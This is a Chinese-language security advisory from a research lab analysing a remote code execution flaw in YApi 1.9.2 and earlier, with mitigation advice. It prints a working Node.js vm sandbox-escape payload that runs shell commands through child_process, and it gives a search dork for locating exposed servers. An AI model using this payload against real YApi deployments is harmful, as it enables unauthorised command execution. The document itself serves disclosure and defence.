作者:0x4qE@知道創宇404實驗室
時間:2021年7月15日
0x01 簡述
Yapi 是高效、易用、功能強大的 api 管理平臺,旨在為開發、產品、測試人員提供更優雅的接口管理服務。可以幫助開發者輕松創建、發布、維護 API,YApi 還為用戶提供了優秀的交互體驗,開發人員只需利用平臺提供的接口數據寫入工具以及簡單的點擊操作就可以實現接口的管理。
2021年7月8日,有用戶在 GitHub 上發布了遭受攻擊的相關信息。攻擊者通過注冊用戶,并使用 Mock 功能實現遠程命令執行。命令執行的原理是 Node.js 通過 require('vm') 來構建沙箱環境,而攻擊者可以通過原型鏈改變沙箱環境運行的上下文,從而達到沙箱逃逸的效果。通過 vm.runInNewContext("this.constructor.constructor('return process')()") 即可獲得一個 process 對象。
影響版本
Yapi <= 1.9.2
漏洞影響面
通過ZoomEye網絡空間搜索引擎,搜索ZoomEye dork數據挖掘語法查看漏洞公網資產影響面。
zoomeye dork 關鍵詞:app:"YApi 可視化接口管理平臺"

0x02 復現
復現環境為 Yapi 1.9.2,Docker 環境已上傳到 Dokcer Hub。
攻擊者通過注冊功能注冊一個新用戶,在新建項目頁面創建一個新項目。

在設置 -> 全局 mock 腳本中添加惡意代碼。設置命令為反彈 shell 到遠程服務器。

POC如下:

隨后添加接口,訪問提供的 mock 地址。

隨后即可在遠程服務器上收到來自命令執行反彈的 shell。

0x03 漏洞分析
在 Github 上發布的新版本 1.9.3 已經修復了這個漏洞。https://github.com/YMFE/yapi/commit/37f7e55a07ca1c236cff6b0f0b00e6ec5063c58e
核心問題在server/utils/commons.js line 635

修復后的代碼引入了新的動態腳本執行模塊 safeify,替換了原有的 vm 模塊。根據 Node.js 官方的描述
The vm module is not a security mechanism. Do not use it to run untrusted code.
vm 模塊并不是一個完全安全的動態腳本執行模塊。先來看看 vm 有哪些執行命令的函數。

根據官方文檔,這三個函數都有一個參數 contextObject 用來表示上下文。但是這個上下文并不是完全隔離地運行的,可以通過原型鏈的形式實現沙箱逃逸。
> vm.runInNewContext("this")
{} // this 是一個空對象
> vm.runInNewContext("this.constructor")
[Function: Object] // 通過 this.constructor 可以獲得一個對象的構造方法
> vm.runInNewContext("this.constructor('a')")
[String: 'a'] // 獲得了一個字符串對象
> vm.runInNewContext("this.constructor.constructor('return process')")
[Function: anonymous] // 獲得了一個匿名函數 function() { return process; }
> vm.runInNewContext("this.constructor.constructor('return process')()")
process {
title: 'node',
version: 'v10.19.0',
...
} // 獲得了一個 process() 函數的執行結果
// 接下來就可以通過 process.mainModule.require('chile_process').execSync('command') 來執行任意代碼
有一種防護方案是將上下文對象的原型鏈賦值成 null,就可以防止利用 this.constructor 進行沙盒逃逸。const contextObject = Object.create(null),但是這種方法有個缺點,這樣禁用了內置的函數,業務需求完全得不到實現。有文章Node.js沙盒逃逸分析提到可以用 vm.runInNewContext('"a".constructor.constructor("return process")().exit()', ctx);繞過原型鏈為 null 的限制。測試后發現無效,如果不考慮業務需求的話,Object.create(null)應該是一種終極的解決方案了。
接下來我們可以下斷點跟進看看漏洞是如何被利用的。在server/utils/commons.js line 635處下斷點,構造 mock 腳本,然后訪問 mock 接口,程序運行停止在斷點處。使用 F11 Step into 進入server/utils/conmmons.js處,單步調試至line 289,再用 F11 進入沙盒環境。
const sandbox = this // 將沙盒賦給了變量 sandbox
const process = this.constructor.constructor('return process')() // 利用原型鏈進行沙盒逃逸獲得 process 對象
mockJson = process.mainModule.require('child_process').execSync('whoami && ps -ef').toString() // 給 sandbox.mockJson 賦值了命令執行的結果
函數執行結束后會調用 context.mockJson = sandbox.mockJson 并將 mockJson 作為 req.body 返回用戶,于是就可以在頁面中看到命令執行的反饋。
0x04 防護方案
1、更新 Yapi 至官方發布的 1.9.3,新版本用了更為安全的 safeify 模塊,可以有效地防止這個漏洞。
2、如果沒有使用注冊的需求,建議關閉 Yapi 的注冊功能。通過修改 Yapi 項目目錄下的 config.json 文件,將 closeRegister 字段修改為 true 并重啟服務即可。
3、如果沒有 Mock 功能的需求,建議關閉 Yapi 的 Mock 功能。
0x05 相關鏈接
1、高級Mock可以獲取到系統操作權限
2、Node.js命令執行和沙箱安全
3、Node.js沙盒逃逸分析
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1639/

暫無評論